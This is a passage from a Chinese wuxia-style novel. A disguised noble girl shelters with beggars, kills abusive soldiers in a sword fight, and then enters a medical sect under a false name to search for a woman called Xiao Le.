故而,即使听人议论说自己女生男相,她也无甚萦怀。
可如今,最令她引以为傲的那双凤眸,连带着她的面貌,都像是被偷走了似的。取而代之的,是一张完全没有见过的脸。
她缩进墙角避风,孤独、无措、落寞随着寒夜一齐涌至。
这个镇子上连匹马都见不到,可回白陵的路,却长斜漫远。
如今的她,只是一个流落街头、饥寒交迫的人。
没有武功,失去样貌,现下,她身上,属于张之合的,怕是只有那些无形的记忆了。
如斯,即使回到墨白城,她该如何自证自己就是张之合呢?她可以想到,即使有人愿信,但为着家族血统纯正,定会提议要滴血验亲。父亲已故,若与母亲滴血验亲,不反而偷鸡不成蚀把米了吗?
闭上眼后,四周一片清宁,她在对前路无尽地思索中,睡去。
耳边再度传来熙攘人声,睁开眼,见天已大亮,一孩童正好奇地盯着她看。
“小姐姐,你在这儿做什么?”
张之合目中一顿,没有出声,看着那男孩朝不远处呼唤,“娘,快看,这有一个姐姐。”
不会儿,一穿着花布棉袄的妇人走了来,“小姑娘,你的家人呢?”
张之合道,“我不知道。”
妇人看着她消瘦的小脸,心疼地抚去,“可怜的孩子,你吃饭了没?”
张之合本能地想躲开,因为她一向不喜欢旁人触碰,可那手心传出的温度,却令她不舍。
她摇了摇头。
妇人扶着她的肩头,轻声细语道,“我们早起还余了些粥,走,我带你去吃点东西。”
她随着妇人去了座“庙”,与其说是“庙”,不如说,那是四壁垒起的简棚,毕竟,在她眼中,那样破败的地方,连她的马,都不屑靠去。
她哪到过这样的地方,才一进去就本能地排斥起里面的一切,刺鼻的气味,喧嘈的环境以及混杂的男女老少,那中一切,都与她昔日的教化格格难溶。
妇人进内便张罗道,“二狗,帮忙盛碗粥来。有个小姑娘在大街上睡了一夜,这会儿还没吃东西呢。”
不会儿,一人端着粥走了来,张之合一瞧,正是昨日推搡她的青年汉子,身后还跟了个与她差不多年龄的少年,看着十三、四岁大,也是乞人模样。
二狗不觉一笑,“哟,又是你,你说咱俩是不是有缘份啊?”
放在以往,单凭这声轻诮的笑,就够张之合好肆发泄一通,可这会儿,她除了接过粥碗,未再做出一点回应。
以她目前的模样,确和那不可一世的白陵少主天差地别,不知者无罪,自也怨不得旁人不会将此当真。
她单手托碗,避开碗缘残口,越看越是恍惚,这粥中除了米,还是米,毫无佐料不说,连粥水颜色都是浑黄的,入口却是意外温润甘甜。
二狗看她喝得极慢,以为她是不舍得,开口道,“不够还有的,你放开了吃。”
张之合瞬他一眼,又抿进一口。
二狗似还不满,夺碗倾到她嘴边,向下一送。
张之合一惶然,米粥滑过舌尖,漫进喉头,好像龟裂的大地忽然被暴雨沾润。
两手抱住碗底,大口大口地满足起自己的味蕾,待碗底空空,张之合长长吁出一口气,“痛快。”
妇人问道,“要不要再来一碗?”
张之合一时顾不得许多,只轻轻颔首,“多谢。”
妇人接碗转过身去,小男孩忽而来了句,“姐姐,你的手流血了,我去找块儿布来帮你包上。。”
三狗拦道,“任与,这点伤不值当的,等会儿自个儿就能愈合了。”
张之合这才注意,适才喝得太过专注,指边被碗口破边划了。
她怔怔凝着那殷红的血,虽和三哥的血一样是红,但却来自两位母亲,一来自江邑君侯之族的贵女,一来自云间清农,一个连姓氏都不得的人。
万一哪天它像张云澜那般也变成了紫色,不止三哥,论谁只消看过,都将知那是父亲和一个清农医女留给她的。
想的功夫,小男孩已上前捧起她的指头,对着伤处一口一口轻轻吹了起来。
张之合抽回手,道,“任与,听你像是江南一带的口音,你可是江邑人?”
男孩眼光一亮,点了点头,“姐姐也是江邑人吗?”
张之合恍了恍,“家兄与江邑有亲,少时去过几次。”
妇人取粥回来,正巧听到二人谈话,亲切道,“我家是山岗镇的,姑娘亲戚家是在哪里?”
张之合接过碗,“在江邑都城。”
妇人道,“那可是好地方,听说江邑都城里边住着不少大户人家,非富即贵。”
张之合平端着
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碗,温温点着头道,“江邑世家子弟,多在都城。唐家三杰,杨门四贵,都是青年翘楚,其中最瞩目的,合该是潘氏双俊。”
妇人道,“这我也听过,邑侯爷家的二位公子,模样生得都好着呢。我们此前在山岗镇时,镇上有户邻居搬到都城里去开米铺,不过五年就搬到了有门有院的大宅里住。”
张之合骤地止住了声,独自品起粥来。
二狗听到却起了兴致,“有门有院?那得是多大的一块地儿。”
妇人道,“听说那样的宅子在都城都算不得稀奇,很多人家都是二进、三进的门院,真叫一个气派。”
二狗身旁少年像是头次听说似的,“哥,啥是三进门院?”
二狗支我了下,“三进……三进就是过三道门才能进去的院子。”
妇人和颜笑道,“三狗,别听你哥乱说。三进就是有三处院子,有招待人的,有自个儿住的,还有给下人用的。”
三狗目中好是一愣,努力想着三进院内该有多少间房屋,“任婶子,你去过那样的院子吗?”
妇人回道,“去过,与儿他爹此前当差的守备府,就是那样的。”
三狗道,“婶子婶子,快,给我讲讲,那里是什么样的。”
张之合听着几人讨论着他们口中的非富即贵,也无暇思索为何几人会为一处门院讨论得如此兴奋,但看几人那眉飞色舞的模样,似乎一处三进院落的房舍,远比今日的一碗粥珍贵难得。
破庙中,有男有女,有老有少,各自聚着,说说笑笑。
张之合规避着与这群流民浪人的接触,缩在角里思量心事,但三狗和任与却像盯上她似的,一个劲儿地拉她讲话。
听三狗和任与讲起为何会沦落进着边陲陋庙,张之合始终阴着张脸,无论是悲事,还是喜事,都是如此。
讲到二人几乎话尽,她都没有吐出一个字。
可这二人却对新来的女孩儿充满好奇,对着她问东问西。
“姐姐,你到底叫什么名字?”
张之合仍黑着脸。
命运和她开了好大的一场玩笑。
遇到张云澜前,她风光无两、不可一世,不仅是潘氏母亲生下的张家女儿,还有着张之合的样貌,有着张之合的一切。
可如今,她不仅有着和张云澜一般,为张家所耻、为圣上难容的出身,失去了昔日引以为傲的一切不说,一旦被发现她不是潘氏的亲生女儿,父亲的丑事就会败露,就会成为一段茶余饭后的谈津笑柄。
与其如此,不如就当张之合已经死了,对,母亲不会去怀疑一个死去的女儿是不是自己的骨肉。
从今往后,我就和他们一样,做个流民,做个乞者,反正无人识得我的样子,这样,也就不会有人,将我和父亲、和张家联系到一处。
三狗也不放过似的,“小妹子,你是不是也没名字?不然你跟着我,叫四狗好了。”
张之合目中不悦。
任与道,“四狗?不行不行,这不是女孩子该叫的名。”
三狗随口道,“有什么不行的?我哥捡我回来时,就让我随着他叫。他说,当年大狗哥捡他回来时,知他没名字,也是这么给他起的名儿。”
“我有姓名。”
张之合不可忍地回了句,盯着掌心,匆匆为自己重新想个新名儿。
我当然是有名字的,还是父亲亲自拟来的,天作,之合,谁人听了不知和三哥是一对。
只是,而今“天作之合”再也不是原先的“天作之合”了。
那又如何,即使我是小乐的女儿,也同样是父亲的女儿,怎可胡乱取个“四狗”“五猫”来叫?
她视着指尖凝血,脑中一道光电划过,滴血验亲。
对呀,我可以去清农,滴血验亲,定能找到小乐。
三狗不乐意了,抱怨道,“有你还不告诉我们,真是小气。”
张之合叹了叹头,“我乃邱怡,丘耳之邱,心旷神怡之怡。”
5. 决去清农释惑
三狗正要说些什么,却见二狗慌里慌张跑了进来,看了张之合几眼,冲着三狗道,“三狗,他们来了,快,把她藏起来。”
张之合心头一紧。
“这么快就到了?”三狗几乎是问出了同样的问题。
二狗点了点头,朝陋庙石像后跑了去,三狗想也不想地拖起她。
张之合本能地甩开,向来都是人见了她要回避,她哪回避过谁?
三狗慌张催促道,“等他们看到你就糟了。”
他说的很急。
她竟觉无措,我这身子,当真不争气,若非幻言只留给了我两枚清心丹,不然,今日我定叫张云澜有来无回。
张之合被三狗推进一比人高的稻草堆里,不会儿功夫,草堆内接连又塞进几个与她差不多大的小姑娘,二狗也从石像后搬来两米袋,一齐掖进稻草。
门外传来马蹄声,张之合不转睛地朝门处看了去。
进了四个人来,都是兵士装束,手中寒光闪闪,各个都握着钢刀。
张之合大松出一口气,虚惊过后,自嘲叹笑起来,“这也要躲?”
身旁姑娘紧忙拍了过来,冲她摇了摇头,好像很是害怕。
张之合自若地朝外看去,带着一股莫名的疑问。
二狗提着一半满麻袋迎了上去,“哟,是什么风把几位官爷吹来了?”
一人喝道,“年关到了,兄弟们今儿再巡次差,就回焦山去了。”
二狗笑呵呵奉上麻袋,道,“官爷,回家给老嫂子们带个好儿,这是我们城隍庙老小的一点心意。”
那人打开袋口,向里看了一眼,神情极不满,朝着二狗胸口就是一脚,“就这丁点儿,你当打发谁呢?”
二狗摔在地下,闷哼下后,又挤出笑脸道,“官爷,我们确只剩这些米了,来年,来年我定给您补上——”
话还未完,那人已卡住二狗脖根,“少跟我耍花样,凭这点儿就想将我们打发了。”
二狗点头哈腰,眨眼功夫又被摔到地上,两名官兵上前一左一右将他人架了起来,另两人则收起刀来,不由分说地挥出拳头。
张之合听着二狗那迭迭惨声,觉好生奇怪,二狗到底也是成年男子,为何就这么任着人打?何况,庙中还有着不少少年,虽说不上是什么壮丁,但一个要出手帮二狗的也没有。
问向身边姑娘,“没有人帮他的吗?”
那姑娘朝外扫了一眼,压低着声道,“每次都这样,他们打累了,自然就走了。”
张之合道,“每次?”
那姑娘说话,都是比着二狗被殴打时的惨叫声压低音量,为的是希望官兵没有注意到稻草堆里也藏了人。可张之合哪会管顾这些,幸好官兵此刻的注意力都集在二狗身上,没空理会稻草堆中的声音。
但还是将那姑娘惊得不行,紧忙捂上张之合的嘴,“姐姐,求求你了小点儿声,他们要是知道这里藏了人,还藏了米,不止二狗哥要挨打,连我们都要被捉去。”
张之合压着声问道,“你这么怕他们的?”
那姑娘点了点头,小声道,“他们是焦山的官兵,每个月都要到飞沙镇来一趟,拿不出东西就要挨打。”
张之合不屑一叹,“就是你们每次都顺着他们,没让他们吃着苦头,他们才如此欲求不满。依我看,对这样的人,就该狠狠地打回去,让他们涨点教训才是。”
那姑娘目中一道虑色,接而摇起了头,“不行不行,大狗哥他们就是这么被打死的?”
张之合道,“什么?他们还打死过人?”
身旁姑娘回道,“前两年,大狗哥带着几个哥哥跟他们反抗过,当时是将官兵赶走了,可是谁知,那几人走了后,又带了好多人来,各个都拿着刀来的。”
张之合暗自心叹,难怪父亲说要除恶务尽,这群败类,枉穿着身官服,竟如此公然欺凌百姓,抢掠民财,当真无耻。
张之合摸出幻言留下的药瓶,倒出粒清心丹。
“尔等要米是吧?正巧,我这儿还有些。”
四位官兵正对着二狗拳打脚踢得兴起,忽然听到不远处传来一女声,停手瞧去,一褴衫纤女从稻草堆中钻了出来,身形消瘦,目光定定。
满庙内的流民皆惊呆了眼,流露出的神情很是复杂,不忍中透着微微反感。
稻草中的几位姑娘,两腿已经软得快要站不住了,恨不能将她拽过来收拾一通,却又碍着官兵在,不敢露头。
张之合扑了扑衣间草屑,上前两步,“尔等可知,依大邺律法,论是何样刑罚都该由官府明刑正典,而非如尔等这般滥用私刑。”
话音落时,一官兵反手掴向二狗,“你奶奶的,竟还敢藏人?”
张之合微感意外,自己的出现,非但未令几位官差将注意力转到自己身上,反是又连累二狗吃打。继续道,“以官欺民算什么好汉?真够种的,到我这儿来,让我瞧瞧,尔等有什么本事。”
另一官兵带着满脸喜色走了去,“小姑娘,跟我走吧,营里正缺你这么个服侍的人。”
张之合目中肃肃,“你这人好大的胆子,要我来服侍?你受得起吗?”
官兵哈哈大笑,又迈出几步,“你跟爷几个走,看看我们受不受得起。”
张之合听着那嘲弄的笑音,气上心来,“放肆!我乃邱怡,最见不得的就是尔等这般仗势民脂民膏的,真有本事的,为何不到战场上去?”
官兵边朝她走去,边挤眉弄眼道,“好,好,好。邱怡是吧——”
张之合觑他不防,抢步过去,抽出官兵腰间钢刀,一刀刺出。
眼见一妙龄少女正向一高出她半身的官兵出刀,这一刺,几是吓住满庙流民,齐齐料定此女将遭大殃。
“小邱,快别去惹他们。”三狗脱口道。
那官兵闪身一避,却见那钢刀追着他的身子捅进心口。
白刀子进,红刀子出。
张之合抽出血刀,不忘在其脖下一抹,用刀指着余下官兵道,“这样不中用,也配进军营的?”
二狗还当是巧合,看那仨官兵齐齐挥刀,逼向那路边捡来的姑娘,对着庙内一众呼喊道,“不能让他们把那姑娘带走,跟他们拼了。”
张之合亦不想牵连无辜,飞身一跃,落到庙门下,冲二狗道,“把尸体埋好,
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有人来问,就当不知,保尔等无事。”说后,一闪身出了庙,跳上匹马蹿出飞沙镇,奔进沙漠。
三位官兵随后追去。
张之合虽是头次到垦岭来,不熟地形,但依稀记得父亲说过,下万仞山向南,穿过沙漠,便是焦山,再往南行,便可到垦岭都城。
她一进沙漠便放缓行速,眼见三乘并来,拨马回迎。一马撞向中骑官兵,借而跃起,横刀劈向右骑,刀尖将至心窝。
“此女定是扶义寨乱党,捉她回去好生盘问。”
马尾部飞来一刀,张之合紧勒过马首,扬起前蹄,准备扑向官兵。
谁料,这一急转,险些将张之合掀下马去,她只得先稳住身子,拽进缰身往后一仰,背身贴于马上,斜出道寒光,截住敌兵马头,再袭一刀,将人刺落马下。余剩的那员官兵眼见不敌,仓皇逃窜,奈何张之合却用着一股不依不挠的气势紧追在后,不消片刻,便追上了。
只见她手中刀光此起彼落,个头儿虽不占优,同时对上成年男子却是丝毫不落下风。
料理过三名官兵后,张之合四探地形,准备埋尸,怎料清心丹药效将过,自身的气力,已不足再支撑她做那些挖沙刨坑的体力物事。一想前路未卜,自也不舍得再将药瓶中最后一粒清心丹耗费于此。
但见此处黄沙滚滚,沙丘无尽,适才官兵有提扶义寨,可见附近应有草寇出没,想来,即使真有人能发现三人尸身,也断不会将他们的死,与飞沙镇陋庙中那群不念反抗的难民联系到一处。
张之合当即纵马,向南离去,才走不过半个时辰,她的身子就软了下来,用着最后的气力,牢拽着马鞍,才勉强支撑出了沙漠。
稍作打听,原不止那无人问津的飞沙镇,竟连焦山,都未见过白陵人的踪迹。
父亲真的,没有回过白陵吗?难道也已经像那三名官兵一样,暴尸于天地间,连个安葬的处儿都没有落得?
父亲一生为我,我却连让他入土为安都办不到。
无论如何,我都要为父亲办好这件事。
赤元十七年春。
清早,林兮当值清扫院门外落叶残红,半梦半醒之际,隐见一棵海棠树后有一长发披肩的纤纤背影。
风吹花扬,狂花顷刻如粉色瀑流,浪蕊浮芳,一波绯色巨潮涌进街巷。
惊风过巷,林兮方才醒神,定睛瞧见,确有一孝衫少女隔花而立,正仰头望着顶上的海棠枝,林兮也随着她的视向,悼怀着片刻前还在用生命最后一丝气力怒放的海棠花。
树间倩影身发纤飘,好像随时可以像海棠花瓣一样,再度被风儿吹颤吹飞。
林兮上前道,“为爱名花抵死狂,只愁风日损红芳。【1】”
少女闻声,注意到来人,知那就是她此先避之莫及的清农医者。
朝他凝去,随着一张神清骨秀、朝气蓬勃的容面撞入眼眶,本拘肃的神情不由一缓。
站在树下的素靥少女,容貌平平,但就是这么一下简单对视,林兮心中乍然一怔。那少女形容憔悴淡漠,双肩如削,却有着一双异常澈亮的眸子,像一池子三秋静水似的,深邃幽幽,不见尘俗。
6. 春棠落影疏疏
林兮惊呆了,他在茶楼听过仙女下凡的故事,臆想过,如果有一天自己可以遇到仙女,是何样的场景。可那天上的仙女哪会临凡,又哪巧正让他瞧见?
此刻,他眼前的女子,虽非天颜,但适才的刹那片刻,她孤身纤立在春花光影中,于海棠花雨中飘飘然的背影,很美,如谪仙落世。
林兮向她行了一礼后,少女拂去沾惹在衣衫处的俏粉残花,朝己走来。
她头戴一支细细的银钗,恰垂半朵棠花,步态轻盈,落脚之处如蜻蜓点水,钗上挂的半朵残棠摇而未下,更像是在她钗头轻舞翅膀的粉蝶。
“绿章夜奏通明殿,乞借春阴护海棠。【1】”少女随口对道,“句是好句,只是痴了些。”
“痴?真心爱花者,自不愿见其芳消魂陨。”林兮反口道,“难道姑娘适才不是在感慨海棠之逝?”
凄色一闪,少女说道,“花开年年,当知其期,譬如海棠,春风过,花自盛,春雨来,花自瘦。”
“姑娘适才对着花枝望了良久,又是因何?”林兮好奇道。
少女再次幽幽视向海棠枝叶,“回忆,回忆它最繁茂的模样罢了。”
“誓与春光共旖旎,海棠花之风华,便是如此了。”林兮称道,“再多爱花者,不如姑娘一位解花人。”
少女勉为一笑,“小乐可在?”
“谁?姑娘你再说一遍,你说的人是谁?”
少女自问说的是字正腔圆,不仅没有白陵乡音,咬字也极清,但面前少年却是一脸茫然,又问了遍,“小乐,大小之小,乐理之乐。”
林兮快速眨了几下眼,反应过来,“姑娘,你是否搞错了,此处是清农医堂,我们这儿没有人叫小乐。”
那少女神情一定,心道,幻言提的是,绝不能因找小乐而败露自己,再招无妄之灾。口中问道,“尔乃何人?”
“清农医堂,徐照先生弟子,林兮。”
少女这才回神,原对面的人,是自己一直嗤之以鼻的清农医者。心想,原清农的人也与常人般并无二样,我已改容,他若不提,焉能想到我与他,我们上几代人间的恩恩怨怨。而今,与旁人有异的那个,其实只有我与张云澜这两颗灾星罢了。
她恍了会儿,递出幻言留下的药瓶,“抱歉,适才记错了,我来找的人是幻声,受人之托,特来此传故人之音,此为信物,烦请转呈幻声。”
林兮接下药瓶,瞧不出端倪。有猜到这少女为寻人而来,从她对幻声先生的称呼来看,不像是其学生或家人。
怎知,幻声看了那药瓶后,步履如飞地疾走向大门外,他一路碎步跟在其后,到门口处见少女仍站在原地。
未等引荐,幻声就直接将她迎进了后堂内室,命人送来饭食,还特意叮嘱,任何人不得来扰。
进清农一路,都觉有抹无形的锋刃,在刮着这位张家女儿的皮肉。每行一步,便褪去一层。
作为张家人的最后一点尊严,因着进入到清农,被彻底磨没了。
看着眼前荤素俱全的热食,她真难启齿,自己已有多少时日,未曾上过桌了。一想到自己会为一顿饱腹而进下清农送上的饭食。
她极力秉着记忆中的教养,轻嚼慢咽。
不住劝慰自己,若非那清农医女遗患仍在,我本就是已死之人。今日一进清农,免不了要与清农打交道了,往后不知还要做下多少悖行。罢了,只要能保全父亲清名,皆不足道哉。
然,我若因一己之私,为追查小乐,不免与这多人过话,难道,我真要将他们一一除了吗?不过是父亲与小乐犯下的错,却要连累到他们身上……张之合啊,你可定要三思才是。
“邱怡,你这药瓶是打哪儿来的?”
邱怡敛回神绪,看是幻声在问她话。
她眉宇略锁,挤压在心中的苦涩和痛恨,皆然漫了出来,“一年前,我在山里捡果子的时候,遇见一位大叔倒在树下,浑身是血,受了很重的伤,他说他正被仇家追杀。我将他带回家中,可惜他伤得太重,最后还是离开了。他临终前跟我说,要我到云间城清农医堂去找一位叫幻声的人,告诉他继承家业。还,还说让我留在清农,学习医术,学习玄心奥义诀。”
平底一声雷,幻声惊耗,询问道,“你们是在何处见到的?你口中的大叔是何姓名模样?”
“我们是在万仞山北崖遇到的,那位大叔,并没有告诉我他的名字。他,圆眼,高鼻,眼角有颗泪痣。”邱怡回道。
幻声捂脸,一颗颗泪顺着手指缝隙滑出,尽数跌进衣衫绣纹。
邱怡所形容的模样,尤其是眼角那颗痣,即使没有姓名,幻声也知那人是他的大哥幻言。
二载余前,幻言曾说,要去寻垦岭幻氏,讨要医书古籍,不想这一去,竟被追杀上了万仞山,至死都未回到云间城来。
幻声泣难成声,嘶哑问道,“你可见到了杀他的人?”
“没有。”
虽与幻言的行径吻合,但对着这位来历不明的少女,幻声仍疑问道,“既是一年前的事,为何这才到清农来通知我?”
“我一直随父亲长在山里,下了山才知市井繁华,才知何为囊中羞涩。万仞山与云间城相隔甚远,我自小体弱,骑不得马,就一边抵工,一边徒行至此。终于,才在今日,到了云间城。”邱怡回忆起自己由万仞山到云间城一路艰苦,心中酸雨淋下。
云间与垦岭虽是挨壤,但启连山拦空直立,将云间城与垦岭境一东一西,划得清楚,山中无径,两地通勤,只得先行至凤临,再通过江邑绕道垦岭。徒步走上一年,却不为奇。
幻声将信,孤山娇女,弱质之躯,竟会为一陌生人临终之言,不畏艰辛,徒步千里,来清农送信。“除了这药瓶,他可还交予你什么物件?”
邱怡回道,“我身有宿疾,他留了几颗清心丹给我,说可暂且恢复些气力。”
幻声眼见此女对清农中事,知之甚少,与她再究,也是无益。把出手,欲为邱怡切脉,说道,“我为你瞧瞧。”
邱怡牢牢攥着自己的手腕,“大叔已为我瞧过了,他说我的病,只能靠着玄心奥义诀来自愈。我虽长于深山,但也知何为男女不杂坐,不亲授。不敢有违先父教诲,还请先生见谅。”
幻声用着一种教训的口吻说道,“你这样,今后如何去行医?难道遇到男子来寻医,你一概不予理会吗?”
邱怡却说,“晚辈耳闻,清农医术,难学难成,尤其是其中一门玄心奥义诀,一旦学成,便可得百毒不侵之体。能不能学成,还犹未可知,自还没如此深远思虑。”
“许多先天之症,清农医术也是无能为力的。你,还是留在清农,过几年我为你寻户好人家嫁了。”
邱怡不解,竭力问道,“先生既愿收留我,为何不能允我一个机会,习玄心奥义诀?”这话说完,她的脸色又虚白起来。
幻声缓缓解释道,“并非我不
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愿收你为徒,清农医术,学来绝非易事。尤其是内功心法玄心奥义诀的修炼,除了我大哥,莫说是我那些学生弟子,就是我练至今日才稍稍登堂入室。你身怀弱症,习武对你来说太过勉强了。”
“邱怡生于郊林,长于世外,本是无欲无求之人。听闻令兄一言,这世间竟有可医我身弱症之法,才令我一避世之人离开故土,远赴云间城学医。一路含饥受冻,若不是这一点点的念想撑着我,怕我早就死在路上了。还请先生肯首,许我一个机会!无论成与不成,皆是我一人造化,不怨旁人。”
幻声甚是震异,如此震震质问声,竟是从一弱力孱躯的少女口中发出,可见心志坚强。
这也难怪,若她没有这样的心志,换做旁人,恐幻言临终的几句遗言也难被送到云间城。艰难一路,这女孩无论乞讨求食还是露宿荒野,都一步一步走下来了。如果不允她学,怕她会求上三天三夜也说不定。若是再跟自己赌上气,绝食来求,幻声更是不忍,让步道,“罢了,大哥若真说过要你在清农学医,你就留下跟着徐照学罢。”
邱怡面露欣喜,“多谢先生!”
“我大哥可还说过些什么吗?或者提过你什么令鉴、书册类的物事吗?”
邱怡摇了摇头,“并未言他,我将他埋葬后,就下山了。”
“葬于何处?”
邱怡回道,“万仞山北崖,可惜我并不知那大叔姓名,只立了一无字碑墓。我可将具体位置画张图,先生可命人按图去寻,迎回令兄遗骸。”
幻声心下感激,这少女做事倒是周到。
邱怡提笔绘图,字迹歪扭,幻声察觉这女子手腕虚浮,仅绘几笔,就像费了好大的力,她的病症,确是疑难。以他的医术,只可缓解,无从根治,难怪大哥幻言也治不好她的病。幻声心软,又送了邱怡些可增强体质的清心丹。
幻声带邱怡拜见徐照后,命林兮带邱怡去安置。她一退去,徐照隐隐约约地透露起自己的担忧,此女来路不明,只凭她三言二语,实难断幻言临终前之情形。
二人一经商定,决计只教她浅显医理,不传玄心奥义诀,想来也无伤大雅。
因幻言罹难,幻声接任清农医正。
徐照仍是清农药房管堂,邱怡到来前,门下仅林兮一人,不比其他管堂。
邱怡本未将此放在心上,甚至还有几分欣慰,这小小一间药房内,除去管堂徐照,也仅有林兮一位清农医者而已。
但随徐照待了段时日,见他不是侍弄药草,便是整理药材,竟连休憩茶歇时,同林兮谈论的,也多是闲杂诗文。若不是身处草药重熏的药房,不免生出误入学堂私塾的错觉。
反观其他几位管堂门下医者,不仅晨昏定省,如时授习医术,还全门一齐修炼玄心奥义诀和另外一种看似擒拿的手上功夫。并且,那些门下,皆是女师授女徒,男师授男徒,只她是例外。
某日,一众清农门徒共聚一处习练那门擒拿功夫。
不知何时,树下多出一纤纤倩影来,那女目光狡黠而闪亮,一双眼眶紧紧锁着练习晨功的清农女徒们。
边观摩着她们的武功路数,边暗自揣摩着,父亲怎可能会与无名姓的女子有染?小乐,多半是闺中乳名,林兮又怎会知道呢?她们现在练功练得如此专注,我只需突然喊她一声,她听到有人在唤她名,必会有所反应,哪怕只是头动了一点点,那都是她最真切的回应。哼,小乐,看我不将你揪出来。
7. 安得好岁伴郎书
她看着那群人比划着拳手,明是极易仿来的动作,可在他们手中操练起来总是反反复复,才做出前面的,却又僵得一动不动,不知下步将如何铺划。
若是换作是她在墨白城内的那队神枢营,若有谁连这三两招式都如此费拙,恐早被她一令逐去看不到的地方了。
眼见他们接近收尾,她突唤了声,“小乐。”
却见一群仍零零散散地擦汗揉腕,顾自说笑。
岂有此理,白陵少主亲自“搭台”,竟无人跟着“唱戏”。
“小乐。”
她这声叫得更大了,似乎在召令某位神枢营的将士般。
果然,有人听到了,还循着声望来。
她目中拼命捕捉着那几人神中反应,试图找出蛛丝马迹来。
有人一脸疑惑地盯着她,也有人是朝她身后不住张望。
良机转瞬,她顾不得许多,又操着嗓子喊了句,“小乐。”
只见这一声后,所有人齐刷刷朝她盯了来。
百余口清农门徒正站成一片,皆用着副大疑大问的表情看向她。
邱怡顶着那双双疑目,心道,不行不行,一齐看来,我实难辨啊。万一引得小乐生了警惕,恐我再找不出她了。
她目不转睛地朝众人盯去,努力维持着面上神情,支吾开口道,“小月,晓月,晓月暂飞什么来着。”
说后,佯着副很是苦恼的样子,朝那群人笑道,“新得了首诗,说是什么晓月暂飞,可后面的,到底是什么来着。”
惯用伎俩。
往昔,但凡和三哥有所疏漏,为了躲开祖宗祠堂的跪罚,二人都是竭尽所能、一唱一和地相互遮饰。
父亲虽将信将疑,但大多时候,只要她那更明父亲心意的二哥出马,都能将他兄妹二人的场子圆住,免去罚跪。
可以往三个人的戏台子,这时只她一人来唱,连个搭音儿的都无,效果自然不尽人意。
看着那群人仍是冷淡而怀疑的神情,邱怡又拍了拍头,好似想起来似的,“好像是,晓月暂飞秋河里。”说后,紧忙朝那群人瞄了去,心道,快点啊,这么明显的错处都听不出吗?蠢笨。
“邱怡,你在做什么啊?”
邱怡像是等到救星似的,冲着徐阳道,“我在背诗啊,晓月暂飞秋河里,徐阳,你可知下句是什么?我是怎么都想不起来了。”
徐阳不解道,“好端端的,背这些玩意儿做什么?”
邱怡愣了下,应道,“现下闲暇,徐先生也未安排我其他功课,实无事可做。”
徐阳上前,“你才到医堂,还在熟悉,过几日我寻些的草药集给你,你跟着爹在药房做事,看这些对你才有所助。待你这几年能将药材认熟了,再去学辨经识脉。”
邱怡口中称谢后,便告退回了药房。
心结盘踞,她正对着药房一方方木格子出神,视线上方忽地出现一书。
邱怡抬眼看去,林兮翻开一页,递到她面前,“晓月暂飞高树里,秋河隔在数峰西。【1】你要找的,是不是这句?”说后,一双亮目近来,视线相碰的片刻,林兮看着她那写满错寞哀愁的眼底,红肿一片,极度后悔此刻来打扰她。
邱怡目中一跳,收回心神,拂拭过眼角,“是,就是这句。”
“你,哭过了?”林兮迟疑了下,才开口问道。
邱怡慢慢垂下眸光,“有些想父亲了。”
林兮隐约猜到什么,失措得不知当如何安慰。
“林兮,你到清农多久了?”
邱怡的话,像是破了僵局似的。林兮不假思索地回道,“我是在清农长大的,从记事起,就已经在清农了。”
邱怡心道,果是如此。此人从小便在清农学医,如今却还仅是侍弄药草,究竟是云间医术难学?还是他师徒二人实不思进取,终日只知谈论那些酸词腐句。如此以往,我岂不是也将跟他们荒废了?转念又想,我本就是必死之人,这荒废度日与否,又有何区别?
半开玩笑道,“那你记事之前呢?”
林兮迟疑片刻,道,“我是凤临人,爹娘去的早,徐管堂见我是个孤儿,就把我带到清农来了。”
邱怡道,“昨日,我听你和徐先生有谈论《群贤集》,所说多是治世之言,你是有入仕之心吗?”
林兮眉眼一开,“你也读过《群贤集》?”
邱怡淡淡点了下额头,“看过一些,只是我觉那中多为虚夸空谈,多是误人,故而未曾深读。”
“此话怎讲?”
邱怡道,“《群贤集》乃东海乡野人士所著,虽在民间流传甚广,但据我所知,写这本书的那几个人既未进竹贤阁做过席上客,也未真正走进仕途。可见,他们的言论,多是心得,多是空谈,根本未付诸实事,又如何能真的用来治世呢?”
林兮不以为然,回道,“此言差矣,苏鹤先生虽未入仕,但确是实打实的实干之人,不然怎会将与友人语录编撰成集?只是可惜了没能得一个好的出身。”
邱怡叹首,“郎天呢?难道他也没得个好的家世?东都郎家,四世三卿,为什么偏偏没有他?”
林兮语噎,“那是,那是,那是因为——”
邱怡不跌不忙道,“你可听过郎煌这个人?”
林兮摇了摇头。
邱怡道,“观今宜鉴古,无古不成今【2】。朗天在《群贤集》中说的这句话,实则是郎煌在百年前讲出的,可郎煌的本意是以此言上鉴天听,若要治世,需得晓史,晓先贤治世之法,取精去糟。那时正逢各地起义,时局动荡,前朝悼宗皇帝却终日沉醉酒色,非但未能听进郎煌的话,反是除了他御史之名,郎煌在狱中绝望之际,留下一部《人生哀乐》。大邺开朝后,这本书辗转回到郎家后人手中,却因郎煌是前朝重臣之故,不便以他的名义流出此书,只在郎家内部或是亲友之间传阅。可谁想,却被守旧的郎天曲解为要坚持前朝遗事做派,此人见解如此狭隘,如何能治世?”
林兮煞是一惊,但看邱怡言辞款款,不似夸口,念及她自幼随父在山野避世,想来其父应是位饱腹诗书的大儒,才教出如此女儿。道,“《人生哀乐》?我在书阁从没见过这本书,当真有过这本吗?”
邱怡思量了下,“恐怕是你那书阁藏书不全吧?”
林兮驳道,“怎会?清农的书阁,虽比不得凤临、东海,但我敢保证,绝对是整座云间城最全的一处了。”
邱怡淡淡笑了起来,笑意不达眼底。她当然清楚,举国之间,此书只两本在世,一为郎煌真迹,被东海郎家珍藏着,另有本抄录,目前存于东海竹贤阁。
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只是令她惊喜的是,原清农是有书阁的,那不才是清农所藏最全的地儿吗?军中皆有军将名册典录,难道清农就没有吗?
林兮问道,“你笑什么?”
邱怡不动声色道,“知道《人生哀乐》的不止我一人,东海大多竹贤阁老都拜读过,他们注释书文时,也常引用此书言论。不如你带我去书阁看看,我将那些书一一给你找出来,那才是正经的治世之作。”
林兮神色大喜,“好啊,走,我们这就去。”
邱怡随着林兮进入书阁,看着那排排古木书架,未再动步,“清农书阁竟有这多藏书,看来我真是误会了。”
“这里大多是医书,只那边几排是经史子集。”林兮抖了抖肩,指着左侧一排架子道。
邱怡坐在案边,信手拈起笔,在半空停了一瞬,又将笔杆交进左手,在纸上写了起来,“我将那些书目名录列出来,你按着我写的去找来读便是。”
